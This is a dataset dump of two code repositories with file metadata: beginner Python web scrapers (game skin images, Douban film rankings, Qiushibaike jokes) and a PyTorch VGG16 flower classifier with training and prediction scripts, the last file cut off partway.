[ { "alpha_fraction": 0.4717269539833069, "alphanum_fraction": 0.5002546906471252, "avg_line_length": 34.672725677490234, "blob_id": "df3471963b95441bcc06b56a414821b46342bba3", "content_id": "66885f1a5d1a66438b65d7496b296b13deea95e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2213, "license_type": "no_license", "max_line_length": 143, "num_lines": 55, "path": "/wz.py", "repo_name": "ai-Lemon/crawler-practice", "src_encoding": "UTF-8", "text": "#爬取下载王者荣耀英雄皮肤图片\n# -*- coding:utf-8 -*-\nimport requests\nimport urllib.error\n\nclass wz:\n def __init__(self):\n self.here_name = ''\n self.here_number = ''\n self.head = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',\n 'Referer': 'https://pvp.qq.com/web201605/herolist.shtml'}\n\n def get_name(self,url):\n \"\"\"提取英雄名字及对数字\"\"\"\n try:\n res = requests.get(url, headers=self.head)\n res.encoding = 'utf-8'\n hero_list = res.json()\n self.here_name = list(map(lambda x: x['cname'], hero_list))\n self.here_number = list(map(lambda x: x['ename'], hero_list))\n except urllib.error.URLError as e:\n if hasattr(e,\"code\"):\n print('网络连接错误,原因:'.format(e.code))\n if hasattr(e,\"reason\"):\n print('网络连接失败,原因:'.format(e.reason))\n\n def save_IMG(self,url):\n \"\"\"下载并存储图片\"\"\"\n num = 0\n h_url = 'https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/' # 英雄图片的路径\n self.get_name(url)\n # 逐一遍历英雄\n for i in self.here_number:\n # 逐一遍历皮肤,此处假定一个英雄最多有15个皮肤\n for pf_num in range(15):\n # 英雄皮肤的URL链接\n try:\n pf_url = h_url + str(i) + '/' + str(i) + '-bigskin-' + str(pf_num) + '.jpg'\n pf_res = requests.get(pf_url)\n except urllib.error.URLError as e:\n return e\n if pf_res.status_code == 200:\n # 将图片保存下来,并以\"英雄名称_皮肤序号\"方式命名\n with open(self.here_name[num] + str(pf_num) + '.jpg', 'wb') as f:\n f.write(pf_res.content)\n num = num + 1\n\ndef main():\n url = 'https://pvp.qq.com/web201605/js/herolist.json' #存放英雄名和编号的页面\n s = wz()\n s.save_IMG(url)\n\nif __name__=='__main__':\n main()\n\n" }, { "alpha_fraction": 0.48722466826438904, "alphanum_fraction": 0.49823787808418274, "avg_line_length": 29.689189910888672, "blob_id": "65edafe902c91ed6aa98dd301b1e9192c2abd586", "content_id": "94ba99bba5d91ec89f47e8a10e978b97c81ebabb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2578, "license_type": "no_license", "max_line_length": 115, "num_lines": 74, "path": "/dbpq.py", "repo_name": "ai-Lemon/crawler-practice", "src_encoding": "UTF-8", "text": "#爬取豆瓣悬疑电影排行榜\n#利用requests和urllib\n#使用代理ip爬取\n#将数据用CSV存储\n# -*- utf-8 -*-\n\nimport requests\nimport urllib.error\nfrom iptools import head,dict2proxy \nimport json\nimport csv\n\nclass DBPQ:\n def __init__(self):\n self.get_date = [] #存储获取的页面数据\n #self.date = [] #存储分类完成的数据\n\n def get_ip(self):\n \"\"\"从指定路径获取代理ip\"\"\"\n with open('E:\\\\Python\\\\爬虫\\\\ip\\\\iphq\\\\proxies.json','r') as f:\n dic = json.load(f)\n return dic\n\n def get_movie_date(self,index):\n \"\"\"获取电影数据\"\"\"\n urls = [] #不同的页面\n date = []\n dic = self.get_ip()\n ip = dict2proxy(dic[1])\n\n for i in range(0,index + 20,20):\n urls.append( 'https://movie.douban.com/j/chart/top_list?' \n 'type=10&interval_id=100%3A90&action=&start={}&limit=20'.format(i)) #数据存储在XHR下的json格式文件\n\n try:\n for url in urls: #获取所有页面内容\n res = requests.get(url,headers = head,proxies = ip,timeout = 5)\n res.encoding = 'utf-8'\n self.get_date.append(json.loads(res.text))\n except urllib.error.URLError as e:\n if hasattr(e,'code'):\n print(\"网络连接错误,原因:{}\".format(e.code))\n elif hasattr(e,'reason'):\n print(\"网络连接错误,原因:{}\".format(e.reason))\n else:\n print(\"连接错误\")\n\n for soups in self.get_date: #剖析各个数据\n for soup in soups:\n rating = soup['rating'][0]\n jpg_url = soup['cover_url']\n regions = soup['regions']\n title = soup['title']\n movie_url = soup['url']\n date.append({'电影名':title,'评分':rating,'图片':jpg_url,'来源':regions,'电影链接':movie_url})\n return date\n\n def write_date(self,date):\n \"\"\"将数据以CSV存储\"\"\"\n with open('movie2.csv',mode='w') as f:\n fieldname = ['电影名','评分','图片','来源','电影链接'] #表格头\n writer = csv.DictWriter(f,fieldnames = fieldname)\n writer.writeheader()\n for i in range(len(date)):\n writer.writerow(date[i])\n\ndef main():\n \"\"\"执行函数\"\"\"\n m = DBPQ()\n date = m.get_movie_date(60)\n m.write_date(date)\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.4588080644607544, "alphanum_fraction": 0.47546011209487915, "avg_line_length": 30.21917724609375, "blob_id": "3e0761817904259517625fb851bcb3a7418b51ab", "content_id": "a870ee7c24355792172f4ada07dc450b9f2fa4db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2534, "license_type": "no_license", "max_line_length": 148, "num_lines": 73, "path": "/qsbk.py", "repo_name": "ai-Lemon/crawler-practice", "src_encoding": "UTF-8", "text": "#爬取糗事百科的内涵段子\n#用正则表达式爬取网页\n# -*- coding:utf-8 -*-\n\nimport re\nimport urllib.request\nimport urllib.error\n\nclass qsbk:\n def __init__(self):\n self.zt = True #状态标志\n self.ym = 1 #存放故事的页码\n self.page = 1 #网页的页码\n self.wz = [] #存储整页数据\n self.stories = [] #储存故事\n self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'\n\n def hqnr(self,page):\n \"\"\"获取网页内容\"\"\"\n try:\n url = ('https://www.qiushibaike.com/text/page/{}/'.format(page))\n headers = {'User-Agent': self.user_agent}\n request = urllib.request.Request(url, headers=headers)\n response = urllib.request.urlopen(request)\n soup = response.read().decode('utf-8')\n return soup\n except urllib.error.URLError as e:\n if hasattr(e,\"code\"):\n print('网络连接错误,原因:'.format(e.code))\n if hasattr(e,\"reason\"):\n print('网络连接失败,原因:'.format(e.reason))\n\n def jssj(self,page):\n \"\"\"解析内容,提取出作者与文章\"\"\"\n soup = self.hqnr(page)\n pattern = re.compile(r'<div.*?author clearfix\".*?<a .*?<img.*?alt=(.*?)>.*?/a>.*?/div>.*?<div.*?content\".*?<span>(.*?)</span>.*?/div>',re.S)\n items = re.findall(pattern,soup)\n for item in items:\n replacBR = re.compile('<br/>')\n text = re.sub(replacBR, \"\\n\", item[1])\n self.stories.append([item[0].strip(), text.strip()])\n return self.stories\n\n def start(self):\n \"\"\"开始函数\"\"\"\n while self.zt:\n self.stories = []\n self.jssj(self.page)\n ym = self.page\n wz = self.stories\n dm = 1\n for i in wz:\n s = input('')\n if s.lower() == 'q':\n return\n print('第{}页'.format(ym),'第{}段'.format(dm), '作者:{}'.format(i[0]), '\\n', i[1])\n dm += 1\n i = input('是否加载下一页?(Y/N):')\n if i.lower() == 'n': #若用户按下n则退出\n self.zt = False\n return\n self.page += 1\n\n\n\ndef main():\n s = qsbk()\n print(\"按下Enter读取段子,q退出!\")\n s.start()\n\n\nif __name__ == '__main__':\n main()\n\n\n\n" } ]
3
mme384/Image-Classifier-VGG16
https://github.com/mme384/Image-Classifier-VGG16
d9abd696dbc16285acd26a9d5eda0ba67bfe7ea3
397c4f89db983155111475438140abd87dbb1adf
3c72b645e9180894c17a4824535e3ab1d1f426cd
refs/heads/master
2021-04-24T04:31:38.091753
2020-04-29T19:18:31
2020-04-29T19:18:31
250,077,459
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7753822207450867, "alphanum_fraction": 0.7898862957954407, "avg_line_length": 39.47618865966797, "blob_id": "dde51c9b11d341bc704236c9bb366ce306a9b8b5", "content_id": "fccf555b1283f5ba4d968cc2d3494ef58360d3db", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2551, "license_type": "permissive", "max_line_length": 139, "num_lines": 63, "path": "/README.md", "repo_name": "mme384/Image-Classifier-VGG16", "src_encoding": "UTF-8", "text": "# AI Programming with Python Project\n\nCNN VGG16 image classifier build on PyTorch. Developed as partial fulfilment for Udacity's AI Programming with Python Nanodegree program.\n\n1) train.py defines a CNN based on VGG16 based on PyTorch, traines the model and saves the checkpoints.\n2) predict.py rebuilds the model and predict the class of an input image\n\n## Project Files\n- README.md: Project README\n- train.py: Define and train the CNN\n- cat_to_name.json: json file containing the categories (predicted classes)\n- predict.py: Rebuild the model and predict the class of an input image\n- batch_prediction.py: Run predict.py on a batch of images\n- calculate_trainset_mean_std.py: Calculate the images mean and standard deviation for preparing the images for training\n\n## Data Set\nhttp://www.robots.ox.ac.uk/~vgg/data/flowers/102/index.html\n\n## Model\nThe model VGG16 provided by PyTorch is used. The pretrained feature detector is used without modifications.\n\nThe custom classifier is used instead of the pretrained classifier. The classifier has following structure:\n- Input layer has 25088 inputs\n- The hidden layers have 4896 and 512 nodes respectively, use ReLU as the activation function and the dropout layers with 20% dropout rate.\n- The output layer has 102 nodes, as there are 102 classes, and uses Softmax as the activation function.\n\n## Python Version\n3.7\n\n## Python Modules\n- torch\n- torchvision\n- json\n- collection\n- PIL\n- math\n- numpy\n- matplotlib\n\n## Bugs\nNo known bugs\n\n## MIT License\n\nCopyright (c) 2018 Udacity\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n" }, { "alpha_fraction": 0.5793890357017517, "alphanum_fraction": 0.5960620641708374, "avg_line_length": 42.20616149902344, "blob_id": "edf6651cf3b53217a41ecabafa6fdabb62816022", "content_id": "0b6dfb1e0decb42727d5ad57db8d7db591d6672c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18233, "license_type": "permissive", "max_line_length": 228, "num_lines": 422, "path": "/train.py", "repo_name": "mme384/Image-Classifier-VGG16", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n FILE NAME: train.py\n AUTHOR: Michalis Meyer\n DATE CREATED: 24.05.2019\n DATE LAST MODIFIED: 07.07.2019\n PYTHON VERSION: 3.6.3\n SAMPLE COMMAND LINE: python3 train_rev1.py --file_path \"C:/Users/username/path_to_project/flowers\" --arch \"vgg16\" --epochs 5 --batch_size 64 --gpu \"gpu\" --running_loss True --valid_loss True --valid_accuracy True --test True\n SCRIPT PURPOSE: Train neural network.\n\"\"\"\n\n# Imports python modules\nfrom argparse import ArgumentParser\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torchvision import datasets, transforms, models\nimport json\nfrom collections import OrderedDict\n\ndef get_input_args():\n \"\"\"\n Retrieve and parse command line arguments.\n Command Line Arguments:\n - Image file path as --file_path.\n - CNN Model Architecture as --arch with default value \"vgg16\"\n - Number of epochs as --epochs with default value 20.\n - GPU training as --gpu.\n - Test mode to exit model training prematurely as --test.\n This function returns these arguments as an ArgumentParser object.\n Parameters:\n None - simply using argparse module to create & store command line arguments\n Returns:\n parse_args() - data structure that stores the command line arguments object.\n \"\"\"\n # Create Parse using ArgumentParser\n parser = ArgumentParser()\n \n # Image file path.\n parser.add_argument(\"--file_path\", type = str, default = \"C:/Users/meyer-4/001_UdacityAIProgrammingwPythonFinalProject/flowers\", help = \"Image file path.\")\n \n # CNN model architecture: resnet or vgg.\n parser.add_argument(\"--arch\", type = str, default = \"vgg16\", help = \"CNN model architecture: resnet or vgg16\")\n \n # Number of epochs as --epochs with default value 5.\n parser.add_argument(\"--epochs\", type = int, default = 10, help = \"Number of epochs. Default = 5\")\n \n # Batch size as --batch_size with default value 64.\n parser.add_argument(\"--batch_size\", type = int, default = 64, help = \"Batch size. Default = 64\")\n \n # GPU training.\n parser.add_argument(\"--gpu\", type = str, default = \"cpu\", help = \"GPU training\")\n \n # Model performance printing options during training.\n parser.add_argument(\"--running_loss\", type = bool, default = True, help = \"Model performance printing options during training: True / False to print running_loss.\")\n \n # Model performance printing options during training.\n parser.add_argument(\"--valid_loss\", type = bool, default = True, help = \"Model performance printing options during training: True / False to print valid_loss.\")\n \n # Model performance printing options during training.\n parser.add_argument(\"--valid_accuracy\", type = bool, default = True, help = \"Model performance printing options during training: True / False to print valid_accuracy.\")\n \n # Testing mode.\n parser.add_argument(\"--test\", type = bool, default = False, help = \"True if in test mode to exit model training prematurely.\")\n \n print(\"Done parsing input arguments...\")\n \n return parser.parse_args()\n\ndef load_data(in_args):\n \"\"\"\n Function to:\n - Specify diretories for training, validation and test set.\n - Define your transforms for the training, validation and testing sets.\n - Load the datasets with ImageFolder.\n - Using the image datasets and the trainforms, define the dataloaders.\n - Label mapping.\n \n Set size:\n Class Total test train valid\n 102 8189 819 6552 818\n \"\"\"\n # Specify diretories for training, validation and test set.\n data_dir = in_args.file_path\n train_dir = data_dir + \"/train\"\n valid_dir = data_dir + \"/valid\"\n test_dir = data_dir + \"/test\"\n \n # Define your transforms for the training, validation, and testing sets\n # Image color channel mean:[0.485, 0.456, 0.406]. Image color channel std dev:[0.229, 0.224, 0.225]. Calculated with calculate_trainset_mean_std.py\n # Transformation on training set: random rotation, random resized crop to 224 x 224 pixels, random horizontal and vertical flip, tranform to a tensor and normalize data.\n train_transforms = transforms.Compose([transforms.RandomRotation(23),\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.RandomVerticalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n \n # Transformation on validation set: resize and center crop to 224 x 224 pixels, tranform to a tensor and normalize data.\n valid_transforms = transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n \n # Transformation on test set: resize and center crop to 224 x 224 pixels, tranform to a tensor and normalize data.\n test_transforms = transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n \n # Load the datasets with ImageFolder\n global train_dataset\n global valid_dataset\n global test_dataset\n train_dataset = datasets.ImageFolder(data_dir + \"/train\", transform=train_transforms)\n valid_dataset = datasets.ImageFolder(data_dir + \"/valid\", transform=valid_transforms)\n test_dataset = datasets.ImageFolder(data_dir + \"/test\", transform=test_transforms)\n \n # Using the image datasets and the trainforms, define the dataloaders, as global variables.\n global batch_size\n global trainloader\n global validloader\n global testloader\n batch_size = in_args.batch_size\n trainloader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n validloader = torch.utils.data.DataLoader(valid_dataset, batch_size=batch_size)\n testloader = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size)\n \n # Label mapping.\n global cat_to_name\n with open(\"cat_to_name.json\", \"r\") as f:\n cat_to_name = json.load(f)\n \n print(\"Done loading data...\")\n \n return\n\ndef build_model(in_args):\n \"\"\"\n Function to:\n - Use GPU if it's available.\n - Define model.\n - Specify own classifier.\n - Specify loss function / criterion and optimizer.\n \"\"\"\n # Use GPU if it's available.\n global device\n device = torch.device(\"cuda\" if (torch.cuda.is_available() and in_args.gpu == \"gpu\") else \"cpu\")\n \n # Define model. The feature detector of the model is used. The classifier of the model is not used.\n # Available models see: https://pytorch.org/docs/master/torchvision/models.html\n global model\n model = models.vgg16(pretrained=True) if in_args.arch == \"vgg16\" else print(\"Error: No model architecture defined!\")\n \n # Freeze model parameter so backpropagate through not necessary here.\n for param in model.parameters():\n param.requires_grad = False\n \n # Specify own classifier.\n model.classifier = nn.Sequential(OrderedDict([\n (\"fc1\", nn.Linear(25088, 4096)),\n (\"relu1\", nn.ReLU()),\n (\"dropout1\", nn.Dropout(0.2)),\n (\"fc2\", nn.Linear(4096, 512)),\n (\"relu2\", nn.ReLU()),\n (\"dropout2\", nn.Dropout(0.2)),\n (\"fc3\", nn.Linear(512, 102)),\n (\"output\", nn.LogSoftmax(dim=1)),\n ]))\n \n # Specify the loss function.\n global criterion\n criterion = nn.NLLLoss()\n \n # Specify the optimizer to optimize the weights and biases.\n # Only train the classifier parameters. The feature detector parameter are frozen.\n global optimizer\n optimizer = optim.Adam(model.classifier.parameters(), lr=0.003)\n \n # Move your model parameters and other tensors to the device (GPU) memory when you are in PyTorch.\n model.to(device)\n \n print(\"Done building model...\")\n\n return\n\ndef train_model(in_args):\n \"\"\"\n Function to build and train model.\n \"\"\"\n # Number of epochs.\n global epochs\n epochs = in_args.epochs\n # Set running_loss to 0\n running_loss = 0\n \n # Prepare lists to print losses and accuracies.\n global list_running_loss\n global list_valid_loss\n global list_valid_accuracy\n list_running_loss, list_valid_loss, list_valid_accuracy = [], [], []\n \n # If in testing mode, set loop counter to prematurly return to the main().\n if in_args.test == True:\n loop_counter = 0\n \n # for loop to train model.\n for epoch in range(epochs):\n # for loop to iterate through training dataloader.\n for inputs, labels in trainloader:\n # If in testing mode, increase loop counter to prematurly return to the main() after 5 loops.\n if in_args.test == True:\n loop_counter +=1\n if loop_counter == 5:\n return\n \n # Move input and label tensors to the default device.\n inputs, labels = inputs.to(device), labels.to(device)\n \n # Set gradients to 0 to avoid accumulation\n optimizer.zero_grad()\n \n # Forward pass, back propagation, gradient descent and updating weights and bias.\n # Forward pass through model to get log of probabilities.\n log_ps = model.forward(inputs)\n # Calculate loss of model output based on model prediction and labels.\n loss = criterion(log_ps, labels)\n # Back propagation of loss through model / gradient descent.\n loss.backward()\n # Update weights / gradient descent.\n optimizer.step()\n \n # Accumulate loss for training image set for print out in terminal\n running_loss += loss.item()\n \n # Calculate loss for verification image set and accuracy for print out in terminal.\n # Validation pass and print out the validation accuracy.\n # Set loss of validation set and accuracy to 0.\n valid_loss = 0\n valid_accuracy = 0\n \n # Set model to evaluation mode to turn off dropout so all images in the validation & test set are passed through the model.\n model.eval()\n \n # Turn off gradients for validation, saves memory and computations.\n with torch.no_grad():\n # for loop to evaluate loss of validation image set and its accuracy.\n for valid_inputs, valid_labels in validloader:\n # Move input and label tensors to the default device.\n valid_inputs, valid_labels = valid_inputs.to(device), valid_labels.to(device)\n \n # Run validation image set through model.\n valid_log_ps = model.forward(valid_inputs)\n \n # Calculate loss for validation image set.\n valid_batch_loss = criterion(valid_log_ps, valid_labels)\n \n # Accumulate loss for validation image set.\n valid_loss += valid_batch_loss.item()\n \n # Calculate probabilities\n valid_ps = torch.exp(valid_log_ps)\n \n # Get the most likely class using the ps.topk method.\n valid_top_k, valid_top_class = valid_ps.topk(1, dim=1)\n \n # Check if the predicted classes match the labels.\n valid_equals = valid_top_class == valid_labels.view(*valid_top_class.shape)\n \n # Calculate the percentage of correct predictions.\n valid_accuracy += torch.mean(valid_equals.type(torch.FloatTensor)).item()\n \n # Print out losses and accuracies\n # Create string for running_loss.\n str1 = [\"Train loss: {:.3f} \".format(running_loss) if in_args.running_loss == True else \"\"]\n str1 = \"\".join(str1)\n # Create string for valid_loss.\n str2 = [\"Valid loss: {:.3f} \".format(valid_loss/len(validloader)) if in_args.valid_loss == True else \"\"]\n str2 = \"\".join(str2)\n # Create string for valid_accuracy.\n str3 = [\"Valid accuracy: {:.3f} \".format(valid_accuracy/len(validloader)) if in_args.valid_accuracy == True else \"\"]\n str3 = \"\".join(str3)\n # Print strings\n print(f\"{epoch+1}/{epochs} \" + str1 + str2 + str3)\n \n # Append current losses and accuracy to lists to print losses and accuracies.\n list_running_loss.append(running_loss)\n list_valid_loss.append(valid_loss/len(validloader))\n list_valid_accuracy.append(valid_accuracy/len(validloader))\n \n # Set running_loss to 0.\n running_loss = 0\n \n # Set model back to train mode.\n model.train()\n \n print(\"Done training model...\")\n \n return\n\ndef test_model():\n \"\"\"\n Function to test model.\n \"\"\"\n # Do validation on the test set\n # Prepare lists to print loss and accuracy.\n list_test_loss, list_test_accuracy = [], []\n \n # Calculate loss for test image set as well as accuracy for print out in terminal.\n # Validation pass and print out the validation accuracy.\n # Set loss of test set and accuracy to 0.\n test_loss = 0\n test_accuracy = 0\n \n # Set model to evaluation mode to turn off dropout so all images in the validation & test set are passed through the model.\n model.eval()\n \n # Turn off gradients for validation, saves memory and computations.\n with torch.no_grad():\n # for loop to evaluate loss of validation image set and its accuracy.\n for test_inputs, test_labels in testloader:\n # Move input and label tensors to the default device.\n test_inputs, test_labels = test_inputs.to(device), test_labels.to(device)\n \n # Run test image set through model.\n test_log_ps = model.forward(test_inputs)\n \n # Calculate loss for test image set.\n test_batch_loss = criterion(test_log_ps, test_labels)\n # Accumulate loss for test image set.\n test_loss += test_batch_loss.item()\n \n # Calculate probabilities\n test_ps = torch.exp(test_log_ps)\n \n # Get the most likely class using the ps.topk method.\n test_top_k, test_top_class = test_ps.topk(1, dim=1)\n \n # Check if the predicted classes match the labels.\n test_equals = test_top_class == test_labels.view(*test_top_class.shape)\n \n # Calculate the percentage of correct predictions.\n test_accuracy += torch.mean(test_equals.type(torch.FloatTensor)).item()\n \n # Print out losses and accuracies\n print(f\"Test loss: {test_loss/len(testloader):.3f} \"\n f\"Test accuracy: {test_accuracy/len(testloader):.3f} \")\n \n # Append current losses and accuracy to lists to print losses and accuracies.\n # list_test_loss.append(test_loss/len(testloader))\n # list_test_accuracy.append(test_accuracy/len(validloader))\n list_test_loss.append(test_loss/len(testloader))\n list_test_accuracy.append(test_accuracy/len(validloader))\n \n # Set model back to train mode.\n model.train()\n \n print(\"Done testing model...\")\n \n return\n\ndef save_checkpoint():\n \"\"\"\n Function to save checkpoint.\n \"\"\"\n # Save the checkpoint.\n \n # Build the checkpoint dictionary with additional details in checkpoint dictionary \"checkpoint.pth\".\n # Reference: https://medium.com/@tsakunelsonz/loading-and-training-a-neural-network-with-custom-dataset-via-transfer-learning-in-pytorch-8e672933469\n # Reference: https://towardsdatascience.com/load-that-checkpoint-51142d44fb5d\n checkpoint = {\"model\": models.vgg16(pretrained=True),\n \"input_size\": 2208,\n \"output_size\": 102,\n \"epochs\": epochs,\n \"batch_size\": batch_size,\n \"state_dict\": model.state_dict(),\n \"state_features_dict\": model.features.state_dict(),\n \"state_classifier_dict\": model.classifier.state_dict(),\n \"optimizer_state_dict\": optimizer.state_dict(),\n \"criterion_state_dict\": criterion.state_dict(),\n \"class_to_idx\": train_dataset.class_to_idx,\n }\n \n # Save the checkpoint dictionary.\n torch.save(checkpoint, 'checkpoint.pth')\n \n # Load parameters.\n ckpt = torch.load('checkpoint.pth')\n ckpt.keys()\n\n print(\"Done saving checkpoint...\")\n \n return\n\ndef main():\n \"\"\"\n Main Function\n \"\"\"\n \n # Assigns variable in_args to parse_args()\n in_args = get_input_args()\n # Load data.\n load_data(in_args)\n # Build model.\n build_model(in_args)\n # Train model\n # I am using so many global variables because otherwise following command becomes to long and gives me a hard time to get to run.\n train_model(in_args)\n # Test model.\n test_model()\n # Save checkpoint.\n save_checkpoint()\n # Script end.\n print(\"End of Script.\")\n\n# Run main function.\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6029095649719238, "alphanum_fraction": 0.6254269480705261, "avg_line_length": 29.287355422973633, "blob_id": "07175850fad4ab73ae93a29db8b0e98d1af07c95", "content_id": "c0c554837d7958b130441d465d89e2a897e1dc44", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7905, "license_type": "permissive", "max_line_length": 140, "num_lines": 261, "path": "/predict.py", "repo_name": "mme384/Image-Classifier-VGG16", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n FILE NAME: predict.py\n AUTHOR: Michalis Meyer\n DATE CREATED: 25.05.2019\n DATE LAST MODIFIED: 06.07.2019\n PYTHON VERSION: 3.6.3\n SCRIPT PURPOSE: Load image to predict class and probability.\n\"\"\"\n\n# Imports python modules\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torchvision import models\nimport json\nfrom collections import OrderedDict\nfrom PIL import Image\nfrom math import floor, ceil\nimport numpy as np\nimport numpy\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\ndef rebuild_model(filepath):\n \"\"\"\n Load checkpoint and rebuilding model.\n \"\"\"\n \n # Label mapping.\n global cat_to_name\n with open(\"cat_to_name.json\", \"r\") as f:\n cat_to_name = json.load(f)\n \n # Use GPU if it's available.\n global device\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n \n # Define model. The feature detector of the model is used. The classifier of the model is not used.\n # See models: https://pytorch.org/docs/master/torchvision/models.html\n global model\n model = models.vgg16(pretrained=True)\n \n # Freeze model parameter so backpropagate through not necessary here.\n for param in model.parameters():\n param.requires_grad = False\n \n # Specify own classifier.\n model.classifier = nn.Sequential(OrderedDict([\n (\"fc1\", nn.Linear(25088, 4096)),\n (\"relu1\", nn.ReLU()),\n (\"dropout1\", nn.Dropout(0.2)),\n (\"fc2\", nn.Linear(4096, 512)),\n (\"relu2\", nn.ReLU()),\n (\"dropout2\", nn.Dropout(0.2)),\n (\"fc3\", nn.Linear(512, 102)),\n (\"output\", nn.LogSoftmax(dim=1)),\n ]))\n \n # Specify the loss function.\n global criterion\n criterion = nn.NLLLoss()\n \n # Specify the optimizer to optimize the weights and biases.\n # Only train the classifier parameters. The feature detector parameter are frozen.\n global optimizer\n optimizer = optim.Adam(model.classifier.parameters(), lr=0.003)\n \n # Load checkpoints.\n checkpoint = torch.load(filepath, map_location='cpu')\n model.load_state_dict(checkpoint[\"state_dict\"], strict=False)\n \n # print(\"Done rebuilding model...\")\n \n return\n\ndef process_image(image_path):\n \"\"\"\n Process image.\n \"\"\"\n \n # Load image\n image = Image.open(image_path)\n \n # Resize image keeping aspect ratio.\n # Reference: https://stackoverflow.com/questions/4321290/how-do-i-make-pil-take-into-account-the-shortest-side-when-creating-a-thumbnail\n # Define new size\n size = 255\n # Get size and calculate new height keeping the aspect ratio.\n width, heigth = image.size\n ratio = float(heigth) / float(width)\n newheigth = int(floor(size*ratio))\n # Resize.\n image = image.resize((size, newheigth), Image.NEAREST)\n \n # Center crop image to 224 x 224 pixels.\n # Define new size.\n size = 224\n # Get size and calculate image coordinates of the box is a 4-tuple defining the left, upper, right, and lower pixel coordinate.\n width, heigth = image.size\n coordinate1 = int(ceil((width - size)/2))\n coordinate2 = int(floor((heigth - size)/2))\n coordinate3 = width - int(floor((width - size)/2))\n coordinate4 = heigth - int(floor((heigth - size)/2))\n # Crop.\n image = image.crop((coordinate1, coordinate2, coordinate3, coordinate4))\n \n # Convert image color channels from 0-255 to 0-1.\n # Convert PIL image to Numpy array.\n image = np.array(image)\n image = image/255\n \n # Normalize image.\n # Specify mean & std. dev. and normalize image.\n mean = [0.485, 0.456, 0.406]\n stddev = [0.229, 0.224, 0.225]\n image = (image - mean) / stddev\n \n # Reorder dimensions so the order of color channels is as expected.\n image = image.transpose((2, 0, 1))\n \n # print(\"Done processing image...\")\n \n return image\n\ndef predict(image_path, topk=5):\n \"\"\"\n Predict the class (or classes) of an image using a trained deep learning model.\n Resources: https://github.com/WenjinTao/aipnd-project/blob/master/predict.py\n \"\"\"\n \n # Load and process image.\n image_processed = process_image(image_path)\n \n # Rearrange image to 1D row vector.\n image_processed = np.expand_dims(image_processed, 0)\n \n # Convert image from np.array to tensor.\n image_processed = torch.from_numpy(image_processed)\n \n # Set model to evaluation mode to turn off dropout so all images in the validation & test set are passed through the model.\n model.eval()\n \n # Turn off gradients for validation, saves memory and computations.\n with torch.no_grad():\n \n # Move model to cuda.\n model.to(device)\n \n # Move input tensors to the default device.\n input = image_processed.to(device, dtype=torch.float)\n \n # Run image through model.\n log_ps = model.forward(input)\n \n # Calculate probabilities\n ps = torch.exp(log_ps)\n \n # Get the most likely class using the ps.topk method.\n classes = ps.topk(topk, dim=1)\n \n # Set model back to train mode.\n model.train()\n \n # Extract predicted class probabilities, copy tensor to CPU, convert to list and flatten list\".\n classes_ps = classes[0]\n classes_ps = classes_ps.cpu().tolist()\n classes_ps = [item for sublist in classes_ps for item in sublist]\n \n # Extract predicted class index, copy tensor to CPU, convert to list.\n classes_idx = classes[1]\n classes_idx = classes_idx.cpu().tolist()\n \n # Get predicted flower names from cat_to_name\n class_names = [cat_to_name.get(str(idx)) for idx in np.nditer(classes_idx)]\n \n print(\"Class Index: \", classes_idx)\n print(\"Class Names: \", class_names)\n print(\"Class Probabilities: \", classes_ps)\n \n # print(\"Done predicting...\")\n \n return classes_ps, class_names, ps, classes\n\n\ndef imshow(image, ax=None, title=None):\n \"\"\"\n Display image.\n \"\"\"\n \n if ax is None:\n 